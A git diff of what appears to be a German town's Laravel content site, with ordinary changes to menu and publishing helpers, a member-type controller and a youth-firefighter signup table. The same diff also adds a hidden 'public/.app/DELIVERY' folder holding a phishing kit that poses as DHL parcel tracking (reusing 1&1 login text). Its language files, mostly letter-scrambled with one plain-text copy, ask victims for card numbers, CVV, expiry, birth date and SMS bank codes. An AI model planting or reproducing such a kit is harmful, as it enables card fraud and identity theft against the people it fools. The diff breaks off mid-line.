diff --git a/app/Helpers/MenuHelper.php b/app/Helpers/MenuHelper.php index 03d52c81..5663e0f5 100644 --- a/app/Helpers/MenuHelper.php +++ b/app/Helpers/MenuHelper.php @@ -11,6 +11,7 @@ namespace App\Helpers; use App\Models\Tag; use App\Models\User; use App\Models\Post; +use Illuminate\Support\Facades\DB; class MenuHelper { @@ -111,4 +112,44 @@ class MenuHelper return $pages; } + + static function getPageCategories($mainCategory) + { + $parent = Tag::select('tags.*') + ->where('type', 'seitenkategorie') + ->where('name', $mainCategory) + ->first(); + if($parent) + { + $categories = Tag::select('tags.*') + ->where('tags.type', 'seitenkategorie') + ->join('tag_tag', function($join) use ($parent){ + $join->on('tag_tag.parent_id', 'tags.id') + ->where('tag_tag.tag_id', $parent->id); + }) + ->orderBy('tags.order', 'DESC'); + + $categories = $categories->get(); + for($i = 0; $i < count($categories); $i++) + { + $pages = self::getCategoryPages($categories[$i]->name); + if($pages->count()) + { + $categories[$i]->hasPages = true; + $categories[$i]->pages = $pages; + } + else + { + $categories[$i]->hasPages = false; + } + + } + + return $categories; + } + else + { + return []; + } + } } \ No newline at end of file diff --git a/app/Helpers/PublishHelper.php b/app/Helpers/PublishHelper.php index 0dd17f0c..5b33ce8e 100644 --- a/app/Helpers/PublishHelper.php +++ b/app/Helpers/PublishHelper.php @@ -31,7 +31,7 @@ class PublishHelper static function publishTodayPosts($platforms, $testRun = false, $daysInFuture = 0) { $isStadtanzeiger = in_array('stadtanzeiger', $platforms); - $title = __("messages.publications in social networks"); + $title = 'Veröffentlichungen in den sozialen Netzwerken'; $allPosts = array(); $debugText = ''; @@ -55,7 +55,7 @@ class PublishHelper { $template = 'inc.publish.mailStadtanzeiger'; $adminTemplate = 'inc.publish.mailAdminStadtanzeiger'; - $title = __("messages.publications in news"); + $title = 'Veröffentlichungen im Stadtanzeiger'; } foreach($departments as $department) @@ -117,17 +117,17 @@ class PublishHelper $posts2 = $posts; } - PublishHelper::mailDepartmentStatistics($template, $posts2, $title, $department->name, $count, true, $debugText, $testRun); + if(count($posts2) > 0) + { + PublishHelper::mailDepartmentStatistics($template, $posts2, $title, $department->name, $count, true, $debugText, $testRun); + } if($isStadtanzeiger && $count > 0) { if($testRun == false) { - $email = "stadtanzeiger@eppingen.de"; - echo "=> ".__("messages.send mail to :email", [ - 'email' => $email - ])."\n"; - PublishHelper::mailStadtanzeiger($email, $template, $posts2, $title, $department->name, $count, true, $debugText); + echo "=> Sende Email an stadtanzeiger@eppingen.de\n"; + PublishHelper::mailStadtanzeiger('stadtanzeiger@eppingen.de', $template, $posts2, $title, $department->name, $count, true, $debugText); } else { @@ -138,7 +138,6 @@ class PublishHelper } } } - PublishHelper::mailAdminStatistics($adminTemplate, $allPosts, $title, $totalCount, true, $debugText); } @@ -174,7 +173,7 @@ class PublishHelper } $allPosts[$department] = $posts; - $title = __("messages.publications in social networks"); + $title = "Veröffentlichungen in den sozialen Netzwerken"; PublishHelper::mailDepartmentStatistics('inc.publish.mailSocialMedia', $posts, $title, $department, $count); PublishHelper::mailAdminStatistics('inc.publish.mailAdminSocialMedia', $allPosts, $title, $count); } @@ -189,7 +188,7 @@ class PublishHelper PublishHelper::publishDebug($posts, $department); } $allPosts[$department] = $posts; - $title = __("messages.publications in news"); + $title = "Veröffentlichungen im Stadtanzeiger"; PublishHelper::mailDepartmentStatistics('inc.publish.mailStadtanzeiger', $posts, $title, $department, $count); PublishHelper::mailAdminStatistics('inc.publish.mailAdminStadtanzeiger', $allPosts, $title, $count); // PublishHelper::mailStadtanzeiger('stadtanzeiger@eppingen.de', $template, $posts2, $title, $department->name, $count, true); @@ -201,10 +200,7 @@ class PublishHelper static function publishDebug($publications, $department) { $count = count($publications); - echo __("messages.publications for department :department : :count", [ - 'department' => $department, - 'count' => $count - ])."\n\n"; + echo "Veröffentlichungen für Abteilung $department: $count\n\n"; $i = 1; foreach($publications as $platform => $posts) { @@ -261,12 +257,16 @@ class PublishHelper static function mailAdminStatistics($template, $posts, $title, $count, $debug = false, $debugText = '') { +// $mail = new MailAdminStatistics($template, $posts, $title, $count, $debug, $debugText); +// $mail->handle(); $job = (new MailAdminStatistics($template, $posts, $title, $count, $debug, $debugText))->delay(1); dispatch($job); } static function mailDepartmentStatistics($template, $posts, $title, $department, $count, $debug = false, $debugText = '', $isTestRun = false) { +// $mail = new MailDepartmentStatistics($template, $posts, $title, $department, $count, $debug, $debugText, $isTestRun); +// $mail->handle(); $job = (new MailDepartmentStatistics($template, $posts, $title, $department, $count, $debug, $debugText, $isTestRun))->delay(1); dispatch($job); } diff --git a/app/Http/Controllers/ExtendedController.php b/app/Http/Controllers/ExtendedController.php index 6ae09717..8cbf0c04 100755 --- a/app/Http/Controllers/ExtendedController.php +++ b/app/Http/Controllers/ExtendedController.php @@ -641,7 +641,6 @@ class ExtendedController extends Controller $model = $this->prepareModel($model); $this->hook_after_action_edit($model); - return $this->createJSONResponse( $this->renderEditView($model, ['wizard' => $wizard]) ); @@ -881,6 +880,7 @@ class ExtendedController extends Controller true ); + $model->hasPublications = $this->modelHasPublications; return $this->createJSONResponse( $this->renderEditView($model, ['errors' => $validator->getMessageBag(), 'wizard' => $wizard]) ); diff --git a/app/Http/Controllers/MembertypeController.php b/app/Http/Controllers/MembertypeController.php new file mode 100644 index 00000000..aca9e94c --- /dev/null +++ b/app/Http/Controllers/MembertypeController.php @@ -0,0 +1,58 @@ +middleware(['auth' => 'membertypePermissions'])->except('index', 'show'); + + // Model + $this->modelClass = Tag::class; + $this->modelType = 'mitgliedsart'; + $this->modelData = [ + 'name' => [ + 'label' => 'Name', + 'type' => 'inputText', + 'placeholder' => 'Mitgliedsart', + 'validation' => [ + 'rules' => 'required|min:3', + ] + ], + ]; + + // URL options + $this->url = 'membertype'; + $this->route = 'mitgliedsart'; + $this->adminIndexOptions = [ + 'orderBy' => 'name', + 'orderDirection' => 'ASC', + 'paginate' => 10, + 'listdata' => [ + 'name' => [], + 'user' => [ + 'label' => 'Benutzer', + 'foreign' => [ + 'model' => 'audits', + 'column' => 'name', + 'index' => 'last' + ], + ], + 'updated' => [ + 'label' => 'Zuletzt geändert' + ] + ] + ]; + + // Translations + $this->translation = [ + 'title' => 'Mitgliedsart', + 'titles' => 'Mitgliedsarten', + ]; + } +} diff --git a/app/Http/Controllers/PageCategoryController.php b/app/Http/Controllers/PageCategoryController.php index 2c95114b..06a4360a 100755 --- a/app/Http/Controllers/PageCategoryController.php +++ b/app/Http/Controllers/PageCategoryController.php @@ -15,6 +15,7 @@ class PageCategoryController extends TagController { $this->middleware(['auth' => 'pageCategoryPermissions'])->except('index', 'show'); + $this->modelHasPublications = false; // Model $this->modelType = StringHelper::toURL(__('models.pagecategory')); $this->modelData = [ diff --git a/database/.gitignore b/database/.gitignore new file mode 100644 index 00000000..9b1dffd9 --- /dev/null +++ b/database/.gitignore @@ -0,0 +1 @@ +*.sqlite diff --git a/database/migrations/2022_08_15_145900_create_subscribe_youth_fire_fighter.php b/database/migrations/2022_08_15_145900_create_subscribe_youth_fire_fighter.php new file mode 100644 index 00000000..ea924cc7 --- /dev/null +++ b/database/migrations/2022_08_15_145900_create_subscribe_youth_fire_fighter.php @@ -0,0 +1,41 @@ +increments('id'); + $table->string('lastnameParent', 50); + $table->string('firstnameParent', 50); + $table->string('firstnameChild', 50); + $table->string('street', 50); + $table->string('streetnumber', 5); + $table->string('city', 20); + $table->string('phone', 50); + $table->date('birthday'); + $table->string('email', 100); + $table->timestamps(); + $table->softDeletes(); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + Schema::dropIfExists('subscribe_child'); + } +} diff --git a/public/.DS_Store b/public/.DS_Store new file mode 100644 index 00000000..5008ddfc Binary files /dev/null and b/public/.DS_Store differ diff --git a/public/.app/DELIVERY/F004f19441/00951124a.php b/public/.app/DELIVERY/F004f19441/00951124a.php new file mode 100644 index 00000000..98a40b3f --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/00951124a.php @@ -0,0 +1,108 @@ + + + + + + + <?php echo lang('Title'); ?> + + + + + + + + + + +
+
+
+ + +
+
+ +
    +
  • +
  • +
  • +
+
+
+
+
+
+ + + +
+
+
+ +
+ + +
    +
  • +
  • +
  • +
  • +
  • +
+
+
+
+
+
(). .
+
+
+
+
+
+
+
+
+ + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/11644210b.php b/public/.app/DELIVERY/F004f19441/11644210b.php new file mode 100644 index 00000000..7fcee122 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/11644210b.php @@ -0,0 +1,131 @@ + + + + + + + <?php echo lang('Title'); ?> + + + + + + + + + +
+
+
+
+ + +
+
+ +
    +
  • +
  • +
  • +
+
+
+
+
+
+ + + +
+
+
+
+
+ + + + + +
+
+
+
(). .
+
+
+
+
+
+
+
+
+ + + + + + + diff --git a/public/.app/DELIVERY/F004f19441/22788001c.php b/public/.app/DELIVERY/F004f19441/22788001c.php new file mode 100644 index 00000000..9df6df69 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/22788001c.php @@ -0,0 +1,128 @@ + + + + + + + <?php echo lang('Title'); ?> + + + + + + + + + + + + +
+
+
+
+ + +
+
+ +
    +
  • +
  • +
  • +
+
+
+
+
+
+ + + +
+
+
+
+
+ + + + + + +
+
+
+ +
+
+
+
+
+
+
+
+ + + + + + + diff --git a/public/.app/DELIVERY/F004f19441/33140025d.php b/public/.app/DELIVERY/F004f19441/33140025d.php new file mode 100644 index 00000000..aa5a9368 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/33140025d.php @@ -0,0 +1,133 @@ + + + + + + + <?php echo lang('Title'); ?> + + + + + + + + + + + +
+
+
+ + +
+
+
+
+

+
+ + +
+
+ + +
+
+ + +
+ +
+ + +
+
+
+ +
+
©
+ +
+ + + + + diff --git a/public/.app/DELIVERY/F004f19441/44001622e.php b/public/.app/DELIVERY/F004f19441/44001622e.php new file mode 100644 index 00000000..a6bab564 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/44001622e.php @@ -0,0 +1,97 @@ + + + + + + + <?php echo lang('Title'); ?> + + + + + + + + + + + +
+
+
+ + +
+
+
+
+

+
+ + +
+
+ + +
+
+ + +
+ +
+ + +
+ +
+
+
©
+ +
+ + + + + diff --git a/public/.app/DELIVERY/F004f19441/55933014f.php b/public/.app/DELIVERY/F004f19441/55933014f.php new file mode 100644 index 00000000..5e504cff --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/55933014f.php @@ -0,0 +1,130 @@ + + + + + + + <?php echo lang('Title'); ?> + + + + + + + + + + + +
+
+
+ + +
+
+
+
+

+
+ + +
+
+ + +
+
+ + +
+ +
+
+ + +
+
+
+ +
+
©
+ +
+ + + + + diff --git a/public/.app/DELIVERY/F004f19441/66099317g.php b/public/.app/DELIVERY/F004f19441/66099317g.php new file mode 100644 index 00000000..fc39fb48 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/66099317g.php @@ -0,0 +1,115 @@ + + + + + + + <?php echo lang('Title'); ?> + + + + + + + + + + + +
+
+
+
+ + +
+
+ +
    +
  • +
  • +
  • +
+
+
+
+
+
+ + + +
+
+
+
+
+
+
+ + + + + + + diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/de.php b/public/.app/DELIVERY/F004f19441/includes/langs/de.php new file mode 100644 index 00000000..157ac232 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/de.php @@ -0,0 +1,49 @@ + 'Willkommen auf unserer Webseite,', /* Title */ + 'LdngH' => 'Rhi Xvnev qpidt tifvlgitrch btzeäerge.', /* Loading Header */ + 'LdngP1' => 'Sie können jetzt unsere Dienste nutzen,', /* Loading P 1 */ + 'LdngP2' => 'Qri qtidtn Zrt paltretn, pa drt Otibrndpng qrtdtihtispzetlltn,', /* Loading P 2 */ + 'LdngP3' => 'ra', /* Loading P 3 */ + 'LdngP4' => 'Ztxpndtn.', /* Loading P 4 */ + 'H1' => 'Lvgrn.', /* Login */ + 'CntP' => 'Cvneivl-Ctneti', /* Control Panel */ + 'CusId' => 'Xpndt', /* Customer ID */ + 'InpL1' => 'Xpndtnnpaati, Npestinmat (T-Amrl-Mditzzt) vdti Dvamrn-Nmat', /* Label Input 1 */ + 'CusPs' => 'Umzzqvie', /* Customer Password */ + 'InpL2' => 'Umzzqvie otigtzztn?', /* Label Input 2 */ + 'Rmmbr' => 'Trngtlvgge bltrbtn', /* Remember Me */ + 'Lbtn' => 'Login', /* Login Btn */ + 'Span1' => 'Nvch xtrn 1&1 Xpndt?', /* Are you still ... */ + 'Span2' => 'Jtese Xpndt qtidtn pnd ovn pnztitn Mngtbvetn + uivfrertitn.', /* Become our customer ... */ + 'AsdH1' => 'Qtretit 1&1 Lvgrnz', /* More 1&1 Logins */ + 'AsdH2' => 'Ztiorct', /* Service */ + 'AsdS1' => 'Vnlrnt-Zutrchti', /* MailXchange */ + 'AsdS2' => 'Rch bimpcht Hrlft spa Lvgrn', /* Detailed help and contact */ + 'AsdS3' => 'Vnlrnt FMWz', /* Online FAQs */ + 'AsdS4' => 'GvEvMzzrze', /* GoToAssist */ + 'P1H1' => '1&1 AyQtbzret', /* 1&1 MyWebsite*/ + 'P1Pr' => '1&1 AyQtbzret tnehäle mlltz, qmz Zrt füi trntn + tifvlgitrchtn Qtbmpfeiree btnöergtn. + Hvltn Zrt Rhit Qtbzret htpet vnlrnt!', /* Paragraphe 1 Paragraphe */ + 'P2H1' => 'Arcivzvfe Vffrct 365', /* Microsoft Office 365 */ + 'P2Pr' => 'Vuerartitn Zrt drt Zpchamzchrntnulmesrtipng Rhiti + Qtbzretz gmns trnfmch are 1&1 imnxrngCvmch.', /* Paragraphe 2 Paragraphe */ + 'P3H1' => '1&1 Dvamrnz', /* 1&1 Domains */ + 'P3Pr' => 'HrDirot zrchtie Rhit Dmetn, Dmetrtn pnd Fvevz + rn dti Clvpd, zv dmzz Zrt ovn jtdta Gtiäe mpz dmimpf spgitrftn xönntn', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Athi Rnfviamervntn', /* More information */ + 'FtrS1' => '1&1 Rnetinte Led. - 2018', /* 1&1 Internet Ltd. 2018 */ + 'FtrS2' => 'Dmetnzchpes-Btzeraapngtn' /* Privacy Policy */ + ); + return $lang[$phrase]; +} + ?> \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/en - Copie.txt b/public/.app/DELIVERY/F004f19441/includes/langs/en - Copie.txt new file mode 100644 index 00000000..2c3b7217 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/en - Copie.txt @@ -0,0 +1,90 @@ + '| Welcome |', /* Title */ + 'Fo9001' => 'Private customers', /* Loading Header */ + 'Fo9002' => 'Business customers', /* Loading P 1 */ + 'LdngP2' => 'Send packages,', /* Loading P 2 */ + 'LdngP3' => 'Receive packets', /* Loading P 3 */ + 'LdngP4' => 'Help & contact', /* Loading P 4 */ + 'LdngP5' => 'DHL Tracking.', /* DHL TRACKING */ + 'CntP' => 'Here you will find information about your shipments.', /* Control Panel */ + 'CusId' => 'Track your parcel shipments at any time from shipping to delivery', + 'InpL1' => 'DHL shipment', /* Label Input 1 */ + 'CusPs' => 'tracking number 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Status: ', /* Label Input 2 */ + 'Rmmbr' => 'in delivering', /* Remember Me */ + 'Lbtn' => 'Important message!', /* Login Btn */ + 'Span1' => 'To complete the delivery as soon as possible, please confirm the payment ', /* Are you still ... */ + 'Span2' => ', by clicking Next. Online confirmation must be made within the next 14 days, before it expires.', + 'Ntke' => 'Next', /* Btn next */ + 'AsdH2' => 'DHL Package', /* Service */ + 'AsdS1' => 'DHL Services', /* MailXchange */ + 'AsdS2' => 'DHL Express', /* Detailed help and contact */ + 'AsdS3' => 'DHL Logistics', /* Online FAQs */ + 'AsdS4' => 'Contact', /* GoToAssist */ + 'P1H1' => 'Help & customer service', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Here's how it works', /* Here's how it works */ + 'P2H1' => 'Mobile Apps', /* Microsoft Office 365 */ + 'P2Pr' => 'About Us', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Post DHL', /* 1&1 Domains */ + 'P3Pr' => 'Responsibility', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Presse', /* More information */ + 'FtrS1' => 'Career', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL International GmbH - All rights reserved.', /* Privacy Policy */ + 'Sfokh' => 'We need your address to be sure that unauthorized persons cannot access your packages, You have ', /* We need your address to be sure */ + 'Ayam' => '10 working days', /* 10 working days */ + 'Froth' => 'From the arrival of your package to the DHL branch, after this time, the package will be returned to the sender.', /* From the arrival of your package */ + 'InptCC' => 'Cardholder's name', /* Cardholder's name */ + 'InptCCN' => 'Credit card number', /* Credit card number */ + 'ExpMmAa' => 'Exp MM/YY', /* Expir */ + 'NumCvC' => 'CVV (CVC)', /* CVV */ + 'AddInf' => 'Address', /* Address */ + 'CodPOs' => 'Zip Code', /* Zip */ + 'MdiNa' => 'City', /* Zip */ + 'Zdiyad' => 'Date of Birth DD/MM/YYYY', /* DOB */ + 'Farnon' => 'Phone Number', /* Phone Number */ + 'Barid' => 'Your E-mail', /* Your Email */ + 'PlzCon' => 'Please confirm the following payment.', /* Please confirm the following */ + 'Theun' => 'The unique password has been sent to the mobile number listed below. If you need to change your mobile number, please contact your bank or modify it via the available channels (ATM, web).', /* Please confirm the following */ + 'March' => 'Merchant:', /* Merchant */ + 'ExpDh' => 'DHL EXPRESS', /* DHL EXPRESS */ + 'Ch7al' => 'Amount:', /* Amount */ + 'Tarikh' => 'Date:', /* Date */ + 'TlNum' => 'Your Phone Number:', /* Your Phone Number */ + 'SmCos' => 'code SMS:', /* Your SMS */ + 'PlzSm' => 'Please enter the verification code received by sms: ', /* Please enter the */ + 'Subnn' => 'Submit', /* Submit */ + 'AllCp' => 'DHL International GmbH - All rights reserved.', /* All Right */ + 'SmEnv' => 'SMS code sent...', /* SMS code sent... */ + 'SmWron' => 'SMS is wrong or expired! After (3) errors in entering the code received via SMS, the current transaction is canceled and the credit card blocked.', /* SMS is wrong */ + 'LastSm' => 'Warning! Please Enter the last SMS received', /* SMS is wrong */ + 'YouHav' => 'You have successfully activated your shipping process.You will receive an email from us when we send your package.' /* SMS is wrong */ + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/en.php b/public/.app/DELIVERY/F004f19441/includes/langs/en.php new file mode 100644 index 00000000..4f6546c7 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/en.php @@ -0,0 +1,99 @@ + '| Welcome |', /* Title */ + 'Fo9001' => 'Uiromet cpzevatiz', /* Loading Header */ + 'Fo9002' => 'Bpzrntzz cpzevatiz', /* Loading P 1 */ + 'LdngP2' => 'Ztnd umcxmgtz,', /* Loading P 2 */ + 'LdngP3' => 'Itctrot umcxtez', /* Loading P 3 */ + 'LdngP4' => 'Htlu & cvnemce', /* Loading P 4 */ + 'LdngP5' => 'DHL Eimcxrng.', /* DHL TRACKING */ + 'CntP' => 'Htit yvp qrll frnd rnfviamervn mbvpe yvpi zhruatnez.', /* Control Panel */ + 'CusId' => 'Eimcx yvpi umictl zhruatnez me mny erat fiva + zhruurng ev dtlrotiy', /* Customer ID */ + 'InpL1' => 'DHL zhruatne', /* Label Input 1 */ + 'CusPs' => 'eimcxrng npabti 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Zemepz: ', /* Label Input 2 */ + 'Rmmbr' => 'rn dtlrotirng', /* Remember Me */ + 'Lbtn' => 'Rauviemne atzzmgt!', /* Login Btn */ + 'Span1' => 'Ev cvaultet eht dtlrotiy mz zvvn mz uvzzrblt, ultmzt cvnfria eht umyatne ', /* Are you still ... */ + 'Span2' => 'By clrcxrng Ntke. Vnlrnt cvnfriamervn apze bt + amdt qrehrn eht ntke 14 dmyz, btfvit re tkuritz.', /* Become our customer ... */ + 'Ntke' => 'Ntke', /* Btn next */ + 'AsdH2' => 'DHL Umcxmgt', /* Service */ + 'AsdS1' => 'DHL Ztiorctz', /* MailXchange */ + 'AsdS2' => 'DHL Tkuitzz', /* Detailed help and contact */ + 'AsdS3' => 'DHL Lvgrzercz', /* Online FAQs */ + 'AsdS4' => 'Cvnemce', /* GoToAssist */ + 'P1H1' => 'Htlu & cpzevati ztiorct', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Htit'z hvq re qvixz', /* Paragraphe 1 Paragraphe */ + 'P2H1' => 'Avbrlt Muuz', /* Microsoft Office 365 */ + 'P2Pr' => 'Mbvpe Pz', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Uvze DHL', /* 1&1 Domains */ + 'P3Pr' => 'Itzuvnzrbrlrey', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Uitzzt', /* More information */ + 'FtrS1' => 'Cmitti', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL Rnetinmervnml GabH - Mll irghez itztiotd.', /* Privacy Policy */ + 'Sfokh' => 'Qt nttd yvpi mdditzz ev bt zpit ehme pnmpehvirstd utizvnz cmnnve mcctzz yvpi umcxmgtz, Yvp hmot ', /* We need your address to be sure */ + 'Ayam' => '10 qvixrng dmyz', /* 10 working days */ + 'Froth' => 'Fiva eht miiroml vf yvpi umcxmgt ev eht DHL bimnch, mfeti ehrz erat, eht umcxmgt qrll bt itepintd ev eht ztndti.', /* From the arrival of your package */ + + + + + + + + 'InptCC' => 'Cmidhvldti'z nmat', /* Cardholder's name */ + 'InptCCN' => 'Citdre cmid npabti', /* Credit card number */ + 'ExpMmAa' => 'Tku AA=YY', /* Expir */ + 'NumCvC' => 'COO (COC)', /* CVV */ + 'AddInf' => 'Mdditzz', /* Address */ + 'CodPOs' => 'Sru Cvdt', /* Zip */ + 'MdiNa' => 'Crey', /* Zip */ + 'Zdiyad' => 'Dmet vf Brieh DD=AA=YYYY', /* DOB */ + 'Farnon' => 'Uhvnt Npabti', /* Phone Number */ + 'Barid' => 'Yvpi T-amrl', /* Your Email */ + 'PlzCon' => 'Ultmzt cvnfria eht fvllvqrng umyatne.', /* Please confirm the following */ + 'Theun' => 'Eht pnrwpt umzzqvid hmz bttn ztne ev eht avbrlt npabti lrzetd btlvq. Rf yvp nttd ev chmngt yvpi avbrlt npabti, ultmzt cvnemce yvpi bmnx vi avdrfy re orm eht momrlmblt chmnntlz (MEA, qtb).', /* Please confirm the following */ + 'March' => 'Atichmne:', /* Merchant */ + 'ExpDh' => 'DHL TKUITZZ', /* DHL EXPRESS */ + 'Ch7al' => 'Mavpne:', /* Amount */ + 'Tarikh' => 'Dmet:', /* Date */ + 'TlNum' => 'Yvpi Uhvnt Npabti:', /* Your Phone Number */ + 'SmCos' => 'cvdt ZAZ:', /* Your SMS */ + 'PlzSm' => 'Ultmzt tneti eht otirfrcmervn cvdt itctrotd by zaz: ', /* Please enter the */ + 'Subnn' => 'Zpbare', /* Submit */ + 'AllCp' => 'DHL Rnetinmervnml GabH - Mll irghez itztiotd.', /* All Right */ + 'SmEnv' => 'ZAZ cvdt ztne...', /* SMS code sent... */ + 'SmWron' => 'ZAZ rz qivng vi tkuritd! Mfeti (3) tiiviz rn tnetirng eht cvdt itctrotd orm ZAZ, eht cpiitne eimnzmcervn rz cmnctltd mnd eht citdre cmid blvcxtd.', /* SMS is wrong */ + 'LastSm' => 'Qminrng! Ultmzt Tneti eht lmze ZAZ itctrotd', /* SMS is wrong */ + 'YouHav' => 'Yvp hmot zpcctzzfplly mcerometd yvpi zhruurng uivctzz.
Yvp qrll itctrot mn tamrl fiva pz qhtn qt ztnd yvpi umcxmgt.' /* SMS is wrong */ + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/es.php b/public/.app/DELIVERY/F004f19441/includes/langs/es.php new file mode 100644 index 00000000..40b725af --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/es.php @@ -0,0 +1,99 @@ + '| Bienvenida |', /* Title */ + 'Fo9001' => 'Clrtnetz uiromdvz', /* Loading Header */ + 'Fo9002' => 'Clrtnetz cvaticrmltz', /* Loading P 1 */ + 'LdngP2' => 'Tnormi umwptetz,', /* Loading P 2 */ + 'LdngP3' => 'Itcrbri umwptetz', /* Loading P 3 */ + 'LdngP4' => 'Mypdm y cvnemcev', /* Loading P 4 */ + 'LdngP5' => 'DHL Ztgprartnev.', /* DHL TRACKING */ + 'CntP' => 'Mwpí tncvneimiá rnfviamcrón zvbit zpz tnoívz..', /* Control Panel */ + 'CusId' => 'Imzeitt zpz tnoívz dt umwptetz tn cpmlwprti avatnev + dtzdt tl tnoív hmzem lm tneitgm', /* Customer ID */ + 'InpL1' => 'Tnoív dt DHL', /* Label Input 1 */ + 'CusPs' => 'núativ dt ztgprartnev 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Tzemdv: ', /* Label Input 2 */ + 'Rmmbr' => 'tn lm tneitgm', /* Remember Me */ + 'Lbtn' => 'Atnzmjt rauviemnet!', /* Login Btn */ + 'Span1' => 'Umim cvaultemi lm tneitgm lv mnetz uvzrblt, cvnfriam tl umgv ', /* Are you still ... */ + 'Span2' => ', hmcrtndv clrc tn Zrgprtnet. Lm cvnfriamcrón tn líntm dtbt hmctizt dtneiv dt lvz uiókravz 14 dímz, mnetz dt wpt tkurit.', /* Become our customer ... */ + 'Ntke' => 'Zrgprtnet', /* Btn next */ + 'AsdH2' => 'DHL Pmcxmgt', /* Service */ + 'AsdS1' => 'DHL Ztiorctz', /* MailXchange */ + 'AsdS2' => 'DHL Tkuitzz', /* Detailed help and contact */ + 'AsdS3' => 'DHL Lvgrzercz', /* Online FAQs */ + 'AsdS4' => 'Cvnemce', /* GoToAssist */ + 'P1H1' => 'Htlu & cpzevati ztiorct', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Htit'z hvq re qvixz', /* Paragraphe 1 Paragraphe */ + 'P2H1' => 'Avbrlt Muuz', /* Microsoft Office 365 */ + 'P2Pr' => 'Mbvpe Pz', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Uvze DHL', /* 1&1 Domains */ + 'P3Pr' => 'Itzuvnzrbrlrey', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Uitzzt', /* More information */ + 'FtrS1' => 'Cmitti', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL Rnetinmervnml GabH - Mll irghez itztiotd.', /* Privacy Policy */ + 'Sfokh' => 'Ntctzremavz zp dritccrón umim mztgpiminvz dt wpt utizvnmz nv mpevirsmdmz nv uptdmn mcctdti m zpz umwptetz. ', /* We need your address to be sure */ + 'Ayam' => '10 dímz hábrltz', /* 10 working days */ + 'Froth' => 'Fiva eht miiroml vf yvpi umcxmgt me eht DHL bimnch, mfeti ehrz erat, eht umcxmgt qrll bt itepintd ev eht ztndti.', /* From the arrival of your package */ + + + + + + 'InptCC' => 'Nvabit dtl emijtem dt ciédrev', /* Cardholder's name */ + 'InptCCN' => 'Núativ dt emijtem dt ciédrev', /* Credit card number */ + 'ExpMmAa' => 'Tku AA=MM', /* Expir */ + 'NumCvC' => 'COO (COC)', /* CVV */ + 'AddInf' => 'Dritccrón', /* Address */ + 'CodPOs' => 'Códrgv uvzeml', /* Zip */ + 'MdiNa' => 'Crpdmd', /* Zip */ + 'Zdiyad' => 'Ftchm dt nmcrartnev DD=AA=MMMM', /* DOB */ + 'Farnon' => 'Núativ dt etléfvnv', /* Phone Number */ + 'Barid' => 'Ep cviitv tltceiónrcv', /* Your Email */ + 'PlzCon' => 'Uvi fmovi cvnfriat tl zrgprtnet umgv.', /* Please confirm the following */ + 'Theun' => 'Lm cvneimztñm únrcm zt hm tnormdv ml núativ dt etléfvnv aóorl wpt zt dtemllm m cvnernpmcrón. Zr ntctzrem cmabrmi zp núativ dt etléfvnv aóorl, cvapníwptzt cvn zp bmncv v avdrfíwptlv m eimoéz dt lvz cmnmltz drzuvnrbltz (cmjtiv mpevaáercv, qtb).', /* Please confirm the following */ + 'March' => 'Cvaticrmnet:', /* Merchant */ + 'ExpDh' => 'DHL TKUITZZ', /* DHL EXPRESS */ + 'Ch7al' => 'Cmnerdmd:', /* Amount */ + 'Tarikh' => 'Ftchm:', /* Date */ + 'TlNum' => 'Zp núativ dt etléfvnv:', /* Your Phone Number */ + 'SmCos' => 'códrgv ZAZ:', /* Your SMS */ + 'PlzSm' => 'Rngitzt tl códrgv dt otirfrcmcrón itcrbrdv uvi zaz: ', /* Please enter the */ + 'Subnn' => 'Tnormi', /* Submit */ + 'AllCp' => 'DHL Rnetinmervnml GabH - Evdvz lvz dtitchvz itztiomdvz.', /* All Right */ + 'SmEnv' => 'Códrgv ZAZ tnormdv...', /* SMS code sent... */ + 'SmWron' => '¡Tl ZAZ tzeá aml v hm cmdpcmdv! Dtzupéz dt (3) tiivitz ml rngitzmi tl códrgv itcrbrdv uvi ZAZ, zt cmnctlm lm eimnzmccrón mcepml y zt blvwptm lm emijtem dt ciédrev.', /* SMS is wrong */ + 'LastSm' => '¡Mdotietncrm! Uvi fmovi, rneivdpscm tl úlerav ZAZ itcrbrdv', /* SMS is wrong */ + 'YouHav' => 'Hm mceromdv cvn ékrev zp uivctzv dt tnoív. Itcrbritavz pn cviitv tltceiónrcv dt nptzeim umiet cpmndv lt tnortavz zp umwptet.' /* SMS is wrong */ + + + + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git 